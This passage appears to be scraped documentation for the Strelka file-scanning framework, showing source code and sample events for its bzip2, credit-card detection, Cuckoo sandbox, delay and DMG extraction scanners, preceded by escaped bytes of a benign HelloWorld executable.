\\xc2\\xa9 . 2020\\x00\\x00)\\x01\\x00$c66634a4-f119-4236-b8d2-a085d40e57c7\\x00\\x00\\x0c\\x01\\x00\\x071.0.0.0\\x00\\x00G\\x01\\x00\\x1a.NETFramework,Version=v4.0\\x01\\x00T\\x0e\\x14FrameworkDisplayName\\x10.NET Framework 4\\x00\\x00\\x00\\x00\\xfe\\x84S\\xc9\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00k\\x00\\x00\\x00d&\\x00\\x00d\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00RSDS\\xa6c\\x07\\xd0\\x9b\\x84\\xb9D\\xbf\\x03\\x0b\\xff-}\\x1eJ\\x01\\x00\\x00\\x00C:\\\\Users\\\\tmcguff\\\\source\\\\repos\\\\HelloWorld\\\\HelloWorld\\\\obj\\\\x64\\\\Release\\\\HelloWorld.pdb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x10\\x00\\x00\\x00 \\x00\\x00\\x80\\x18\\x00\\x00\\x00P\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x008\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x00h\\x00\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\xc0\\x03\\x00\\x00\\x90@\\x00\\x000\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x000\\x034\\x00\\x00\\x00V\\x00S\\x00_\\x00V\\x00E\\x00R\\x00S\\x00I\\x00O\\x00N\\x00_\\x00I\\x00N\\x00F\\x00O\\x00\\x00\\x00\\x00\\x00\\xbd\\x04\\xef\\xfe\\x00\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00?\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00D\\x00\\x00\\x00\\x01\\x00V\\x00a\\x00r\\x00F\\x00i\\x00l\\x00e\\x00I\\x00n\\x00f\\x00o\\x00\\x00\\x00\\x00\\x00$\\x00\\x04\\x00\\x00\\x00T\\x00r\\x00a\\x00n\\x00s\\x00l\\x00a\\x00t\\x00i\\x00o\\x00n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x04\\x90\\x02\\x00\\x00\\x01\\x00S\\x00t\\x00r\\x00i\\x00n\\x00g\\x00F\\x00i\\x00l\\x00e\\x00I\\x00n\\x00f\\x00o\\x00\\x00\\x00l\\x02\\x00\\x00\\x01\\x000\\x000\\x000\\x000\\x000\\x004\\x00b\\x000\\x00\\x00\\x00\\x1a\\x00\\x01\\x00\\x01\\x00C\\x00o\\x00m\\x00m\\x00e\\x00n\\x00t\\x00s\\x00\\x00\\x00\\x00\\x00\\x00\\x00$\\x00\\x02\\x00\\x01\\x00C\\x00o\\x00m\\x00p\\x00a\\x00n\\x00y\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00\\x00\\x00.\\x00\\x00\\x00>\\x00\\x0b\\x00\\x01\\x00F\\x00i\\x00l\\x00e\\x00D\\x00e\\x00s\\x00c\\x00r\\x00i\\x00p\\x00t\\x00i\\x00o\\x00n\\x00\\x00\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00\\x00\\x00\\x00\\x000\\x00\\x08\\x00\\x01\\x00F\\x00i\\x00l\\x00e\\x00V\\x00e\\x00r\\x00s\\x00i\\x00o\\x00n\\x00\\x00\\x00\\x00\\x001\\x00.\\x000\\x00.\\x000\\x00.\\x000\\x00\\x00\\x00>\\x00\\x0f\\x00\\x01\\x00I\\x00n\\x00t\\x00e\\x00r\\x00n\\x00a\\x00l\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00.\\x00e\\x00x\\x00e\\x00\\x00\\x00\\x00\\x00J\\x00\\x13\\x00\\x01\\x00L\\x00e\\x00g\\x00a\\x00l\\x00C\\x00o\\x00p\\x00y\\x00r\\x00i\\x00g\\x00h\\x00t\\x00\\x00\\x00C\\x00o\\x00p\\x00y\\x00r\\x00i\\x00g\\x00h\\x00t\\x00 \\x00\\xa9\\x00 \\x00.\\x00 \\x002\\x000\\x002\\x000\\x00\\x00\\x00\\x00\\x00*\\x00\\x01\\x00\\x01\\x00L\\x00e\\x00g\\x00a\\x00l\\x00T\\x00r\\x00a\\x00d\\x00e\\x00m\\x00a\\x00r\\x00k\\x00s\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00F\\x00\\x0f\\x00\\x01\\x00O\\x00r\\x00i\\x00g\\x00i\\x00n\\x00a\\x00l\\x00F\\x00i\\x00l\\x00e\\x00n\\x00a\\x00m\\x00e\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00.\\x00e\\x00x\\x00e\\x00\\x00\\x00\\x00\\x006\\x00\\x0b\\x00\\x01\\x00P\\x00r\\x00o\\x00d\\x00u\\x00c\\x00t\\x00N\\x00a\\x00m\\x00e\\x00\\x00\\x00\\x00\\x00H\\x00e\\x00l\\x00l\\x00o\\x00W\\x00o\\x00r\\x00l\\x00d\\x00\\x00\\x00\\x00\\x004\\x00\\x08\\x00\\x01\\x00P\\x00r\\x00o\\x00d\\x00u\\x00c\\x00t\\x00V\\x00e\\x00r\\x00s\\x00i\\x00o\\x00n\\x00\\x00\\x001\\x00.\\x000\\x00.\\x000\\x00.\\x000\\x00\\x00\\x008\\x00\\x08\\x00\\x01\\x00A\\x00s\\x00s\\x00e\\x00m\\x00b\\x00l\\x00y\\x00 \\x00V\\x00e\\x00r\\x00s\\x00i\\x00o\\x00n\\x00\\x00\\x001\\x00.\\x000\\x00.\\x000\\x00.\\x000\\x00\\x00\\x00\\xd0C\\x00\\x00\\xea\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xef\\xbb\\xbf<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\\r\\n\\r\\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\\r\\n <assemblyIdentity version=\"1.0.0.0\" name=\"MyApplication.app\"/>\\r\\n <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v2\">\\r\\n <security>\\r\\n <requestedPrivileges xmlns=\"urn:schemas-microsoft-com:asm.v3\">\\r\\n <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/>\\r\\n </requestedPrivileges>\\r\\n </security>\\r\\n </trustInfo>\\r\\n</assembly>\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00',\n }\nDecompresses bzip2 files.
Source code instrelka/src/python/strelka/scanners/scan_bzip2.py class ScanBzip2(strelka.Scanner):\n \"\"\"Decompresses bzip2 files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n with io.BytesIO(data) as bzip2_io:\n with bz2.BZ2File(filename=bzip2_io) as bzip2_obj:\n try:\n decompressed = bzip2_obj.read()\n self.event[\"size\"] = len(decompressed)\n\n # Send extracted file back to Strelka\n self.emit_file(decompressed, name=file.name)\n\n except EOFError:\n self.flags.append(\"eof_error\")\n except OSError:\n self.flags.append(\"os_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanBzip2.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/x-bzip2 bzip2_file"},{"location":"Scanners/ScanBzip2.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list size int"},{"location":"Scanners/ScanBzip2.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [], \"size\": 4015}\nDecodes base64-encoded file.
Source code instrelka/src/python/strelka/scanners/scan_ccn.py class ScanCcn(strelka.Scanner):\n \"\"\"Decodes base64-encoded file.\"\"\"\n\n def luhn_checksum(self, card_number):\n def digits_of(n):\n return [int(d) for d in str(n)]\n\n digits = digits_of(card_number)\n odd_digits = digits[-1::-2]\n even_digits = digits[-2::-2]\n checksum = 0\n checksum += sum(odd_digits)\n for d in even_digits:\n checksum += sum(digits_of(d * 2))\n return checksum % 10\n\n def is_luhn_valid(self, card_number):\n return self.luhn_checksum(card_number) == 0\n\n def scan(self, data, file, options, expire_at):\n # re_amex = re.compile(rb\"[^0-9](3[47][0-9]{13})[^0-9]\")\n # re_disc = re.compile(rb\"[^0-9](6[0-9]{15})[^0-9]\")\n # re_mast = re.compile(rb\"[^0-9](5[1-5]{1}[0-9]{14})[^0-9]\")\n re_visa = re.compile(rb\"[^0-9](4[0-9]{15})[^0-9]\")\n\n if matches := re_visa.findall(data):\n for match in matches:\n try:\n if self.is_luhn_valid(match.decode(\"ascii\")):\n if \"luhn_match\" not in self.flags:\n self.flags.append(\"luhn_match\")\n except strelka.ScannerTimeout:\n raise\n except Exception:\n pass\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanCcn.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanCcn.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list"},{"location":"Scanners/ScanCcn.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [\"luhn_match\"]}\nSends files to Cuckoo sandbox.
Attributes:
Name Type Descriptionusername Username used for authenticating to Cuckoo. This is loaded from the scanner options or the environment variable 'CUCKOO_USERNAME'.
password Password used for authenticating to Cuckoo. This is loaded from the scanner options or the environment variable 'CUCKOO_PASSWORD'.
auth_check Boolean that determines if the username and password were previously checked. This ensures that the username and password are only checked once per worker.
Optionsurl: URL of the Cuckoo sandbox. Defaults to None. priority: Cuckoo priority assigned to the task. Defaults to 3. timeout: Amount of time (in seconds) to wait for the task to upload. Defaults to 10 seconds. unique: Boolean that tells Cuckoo to only analyze samples that have not been analyzed before. Defaults to True. username: See description above. password: See description above.
Source code instrelka/src/python/strelka/scanners/scan_cuckoo.py class ScanCuckoo(strelka.Scanner):\n \"\"\"Sends files to Cuckoo sandbox.\n\n Attributes:\n username: Username used for authenticating to Cuckoo. This is loaded\n from the scanner options or the environment variable\n 'CUCKOO_USERNAME'.\n password: Password used for authenticating to Cuckoo. This is loaded\n from the scanner options or the environment variable\n 'CUCKOO_PASSWORD'.\n auth_check: Boolean that determines if the username and password were\n previously checked. This ensures that the username and password\n are only checked once per worker.\n\n Options:\n url: URL of the Cuckoo sandbox.\n Defaults to None.\n priority: Cuckoo priority assigned to the task.\n Defaults to 3.\n timeout: Amount of time (in seconds) to wait for the task to upload.\n Defaults to 10 seconds.\n unique: Boolean that tells Cuckoo to only analyze samples that have\n not been analyzed before.\n Defaults to True.\n username: See description above.\n password: See description above.\n \"\"\"\n\n def init(self):\n self.username = None\n self.password = None\n self.auth_check = False\n\n def scan(self, data, file, options, expire_at):\n url = options.get(\"url\", None)\n priority = options.get(\"priority\", 3)\n timeout = options.get(\"timeout\", 10)\n unique = options.get(\"unique\", True)\n if not self.auth_check:\n self.username = options.get(\"username\", None) or os.environ.get(\n \"CUCKOO_USERNAME\"\n )\n self.password = options.get(\"password\", None) or os.environ.get(\n \"CUCKOO_PASSWORD\"\n )\n self.auth_check = True\n\n if url is not None:\n url += \"/tasks/create/file\"\n form = {\n \"file\": (f\"strelka_{file.uid}\", data),\n \"priority\": priority,\n }\n if unique:\n form[\"unique\"] = \"True\"\n\n try:\n response = requests.post(\n url,\n files=form,\n timeout=timeout,\n auth=(self.username, self.password),\n )\n\n if response.status_code == 200:\n self.event[\"taskId\"] = response.json()[\"task_id\"]\n elif response.status_code == 400:\n self.flags.append(\"duplicate_upload\")\n else:\n self.flags.append(\"upload_failed\")\n\n except requests.exceptions.ConnectTimeout:\n self.flags.append(\"connect_timeout\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanCuckoo.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanCuckoo.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanCuckoo.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner cuckoo
"},{"location":"Scanners/ScanDelay.html","title":"ScanDelay","text":"Delays scanner execution.
Source code instrelka/src/python/strelka/scanners/scan_delay.py class ScanDelay(strelka.Scanner):\n \"\"\"Delays scanner execution.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n delay = options.get(\"delay\", 5.0)\n\n try:\n time.sleep(delay)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"non-fatal_thing_happened\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanDelay.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude"},{"location":"Scanners/ScanDelay.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list"},{"location":"Scanners/ScanDelay.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [\"timed_out\"]}\nExtracts files from DMG images
Source code instrelka/src/python/strelka/scanners/scan_dmg.py class ScanDmg(strelka.Scanner):\n \"\"\"Extracts files from DMG images\"\"\"\n\n EXCLUDED_ROOT_DIRS = [\"[SYSTEM]\"]\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 1000)\n tmp_directory = options.get(\"tmp_file_directory\", \"/tmp/\")\n scanner_timeout = options.get(\"scanner_timeout\", 150)\n\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n self.event[\"files\"] = []\n # self.event[\"hidden_dirs\"] = []\n self.event[\"meta\"] = {}\n\n try:\n self.extract_7zip(\n data, tmp_directory, scanner_timeout, expire_at, file_limit\n )\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_extract_error\")\n\n def extract_7zip(self, data, tmp_dir, scanner_timeout, expire_at, file_limit):\n \"\"\"Decompress input file to /tmp with 7zz, send files to coordinator\"\"\"\n\n # Check if 7zip package is installed\n if not shutil.which(\"7zz\"):\n self.flags.append(\"dmg_7zip_not_installed_error\")\n return\n\n with tempfile.NamedTemporaryFile(dir=tmp_dir, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n if not tmp_data:\n self.flags.append(\"dmg_7zip_tmp_error\")\n return\n\n try:\n with tempfile.TemporaryDirectory() as tmp_extract:\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"x\", tmp_data.name, f\"-o{tmp_extract}\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_extract_process_error\")\n\n def get_all_items(root, exclude=None):\n \"\"\"Iterates through filesystem paths\"\"\"\n if exclude is None:\n exclude = []\n for item in root.iterdir():\n if item.name in exclude:\n continue\n yield item\n if item.is_dir():\n yield from get_all_items(item)\n\n # Iterate over extracted files, except excluded paths\n for name in get_all_items(\n pathlib.Path(tmp_extract), self.EXCLUDED_ROOT_DIRS\n ):\n if not name.is_file():\n continue\n\n # Skip duplicate files created with these extended attributes\n if str(name).endswith(\":com.apple.quarantine\") or str(\n name\n ).endswith(\":com.apple.FinderInfo\"):\n continue\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n self.flags.append(\"dmg_file_limit_error\")\n break\n\n try:\n relname = os.path.relpath(name, tmp_extract)\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(extracted_file.read(), name=relname)\n\n self.event[\"total\"][\"extracted\"] += 1\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_file_upload_error\")\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_extract_error\")\n\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate(timeout=scanner_timeout)\n\n self.parse_7zip_stdout(stdout.decode(\"utf-8\"), file_limit)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_output_error\")\n return\n\n def parse_7zip_stdout(self, output_7zip, file_limit):\n \"\"\"Parse 7zz output, create metadata\"\"\"\n\n mode = None\n\n try:\n output_lines = output_7zip.splitlines()\n\n # 7-Zip (z) 23.01 (x64) : Copyright (c) 1999-2021 Igor Pavlov : 2021-12-26\n regex_7zip_version = re.compile(r\"^7-Zip[^\\d]+(\\d+\\.\\d+)\")\n\n # --/----\n regex_mode_properties = re.compile(r\"^(--|----)$\")\n\n # Comment =\n regex_property = re.compile(r\"^(.+) = (.+)$\")\n\n # Date Time Attr Size Compressed Name\n regex_mode_files = re.compile(\n r\"\\s+Date\\s+Time\\s+Attr\\s+Size\\s+Compressed\\s+Name\"\n )\n\n # 2022-12-05 17:23:59 ....A 100656 102400 lorem.txt\n regex_file = re.compile(\n r\"(?P<datetime>\\d+-\\d+-\\d+\\s\\d+:\\d+:\\d+)\\s+(?P<modes>[A-Z.]{5})(?:\\s+(?P<size>\\d+))?(?:\\s+(?P<compressed>\\d+))?\\s+(?P<name>.+)\"\n )\n\n def parse_file_modes(file_modes):\n file_mode_list = []\n\n for file_mode in file_modes:\n if file_mode == \"D\":\n file_mode_list.append(\"directory\")\n elif file_mode == \"R\":\n file_mode_list.append(\"readonly\")\n elif file_mode == \"H\":\n file_mode_list.append(\"hidden\")\n elif file_mode == \"S\":\n file_mode_list.append(\"system\")\n elif file_mode == \"A\":\n file_mode_list.append(\"archivable\")\n\n return file_mode_list\n\n partition = {}\n\n for output_line in output_lines:\n if output_line:\n # Properties section\n match = regex_mode_properties.match(output_line)\n if match:\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"properties\"\n\n # File section\n match = regex_mode_files.match(output_line)\n if match:\n # Wrap up final partition\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"files\"\n\n # Header section\n if not mode:\n match = regex_7zip_version.match(output_line)\n if match:\n version = regex_7zip_version.match(output_line).group(1)\n self.event[\"meta\"][\"7zip_version\"] = version\n\n continue\n\n elif mode == \"properties\":\n # Collect specific properties\n match = regex_property.match(output_line)\n if match:\n if match.group(1) == \"Label\":\n partition[\"label\"] = match.group(2)\n elif match.group(1) == \"Path\":\n partition[\"path\"] = match.group(2)\n elif match.group(1) == \"Type\":\n partition[\"type\"] = match.group(2)\n elif match.group(1) == \"Created\":\n partition[\"created\"] = match.group(2)\n elif match.group(1) == \"Creator Application\":\n partition[\"creator_application\"] = match.group(2)\n elif match.group(1) == \"File System\":\n partition[\"file_system\"] = match.group(2)\n\n elif mode == \"files\":\n match = regex_file.match(output_line)\n if match:\n modes_list = parse_file_modes(match.group(\"modes\"))\n\n # Skip excluded paths\n if (\n os.path.normpath(match.group(\"name\")).split(\n os.path.sep\n )[0]\n in self.EXCLUDED_ROOT_DIRS\n ):\n continue\n\n # No DMG sample available has a file property of hidden\n # if \"hidden\" in modes_list and \"directory\" in modes_list:\n # self.event[\"hidden_dirs\"].append(match.group(\"name\"))\n\n if \"directory\" not in modes_list:\n self.event[\"total\"][\"files\"] += 1\n self.event[\"files\"].append(\n {\n \"filename\": match.group(\"name\"),\n \"size\": match.group(\"size\"),\n \"datetime\": match.group(\"datetime\"),\n }\n )\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_parse_error\")\n return\nextract_7zip(data, tmp_dir, scanner_timeout, expire_at, file_limit)","text":"Decompress input file to /tmp with 7zz, send files to coordinator
Source code instrelka/src/python/strelka/scanners/scan_dmg.py def extract_7zip(self, data, tmp_dir, scanner_timeout, expire_at, file_limit):\n \"\"\"Decompress input file to /tmp with 7zz, send files to coordinator\"\"\"\n\n # Check if 7zip package is installed\n if not shutil.which(\"7zz\"):\n self.flags.append(\"dmg_7zip_not_installed_error\")\n return\n\n with tempfile.NamedTemporaryFile(dir=tmp_dir, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n if not tmp_data:\n self.flags.append(\"dmg_7zip_tmp_error\")\n return\n\n try:\n with tempfile.TemporaryDirectory() as tmp_extract:\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"x\", tmp_data.name, f\"-o{tmp_extract}\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n ).communicate(timeout=scanner_timeout)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_extract_process_error\")\n\n def get_all_items(root, exclude=None):\n \"\"\"Iterates through filesystem paths\"\"\"\n if exclude is None:\n exclude = []\n for item in root.iterdir():\n if item.name in exclude:\n continue\n yield item\n if item.is_dir():\n yield from get_all_items(item)\n\n # Iterate over extracted files, except excluded paths\n for name in get_all_items(\n pathlib.Path(tmp_extract), self.EXCLUDED_ROOT_DIRS\n ):\n if not name.is_file():\n continue\n\n # Skip duplicate files created with these extended attributes\n if str(name).endswith(\":com.apple.quarantine\") or str(\n name\n ).endswith(\":com.apple.FinderInfo\"):\n continue\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n self.flags.append(\"dmg_file_limit_error\")\n break\n\n try:\n relname = os.path.relpath(name, tmp_extract)\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(extracted_file.read(), name=relname)\n\n self.event[\"total\"][\"extracted\"] += 1\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_file_upload_error\")\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_extract_error\")\n\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate(timeout=scanner_timeout)\n\n self.parse_7zip_stdout(stdout.decode(\"utf-8\"), file_limit)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"dmg_7zip_output_error\")\n return\nparse_7zip_stdout(output_7zip, file_limit)","text":"Parse 7zz output, create metadata
